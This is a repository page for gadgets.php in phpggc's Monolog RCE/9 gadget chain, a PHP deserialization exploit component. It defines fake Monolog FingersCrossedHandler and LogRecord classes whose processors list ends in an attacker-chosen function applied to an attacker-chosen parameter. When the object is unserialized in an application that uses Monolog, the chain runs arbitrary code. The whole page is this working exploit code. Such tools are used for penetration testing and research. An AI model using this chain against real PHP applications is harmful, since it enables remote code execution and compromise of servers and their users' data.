Codebase list phpggc / 4b920f57-28c2-4330-9409-d5dd1e4740dd/main gadgetchains / Monolog / RCE / 9 / gadgets.php
4b920f57-28c2-4330-9409-d5dd1e4740dd/main

Tree @4b920f57-28c2-4330-9409-d5dd1e4740dd/main (Download .tar.gz)

gadgets.php @4b920f57-28c2-4330-9409-d5dd1e4740dd/mainraw · history · blame

<?php

namespace Monolog\Handler
{
    class FingersCrossedHandler
    {
        protected $passthruLevel = \Monolog\Level::Debug;
        protected $handler;
        protected $buffer;
        protected $processors;
        
        function __construct($function, $parameter)
        {
            $this->processors = ['get_object_vars', 'end', $function];
            $this->buffer = [new \Monolog\LogRecord($parameter)];
            $this->handler = $this;
        }
    }
}

namespace Monolog
{
    enum Level: int
    {
        case Debug = 100;
    }

    class LogRecord
    {
        public Level $level = \Monolog\Level::Debug;
        public mixed $formatted;
        
        function __construct($parameter)
        {
            $this->mixed = $parameter;
        }
    }
}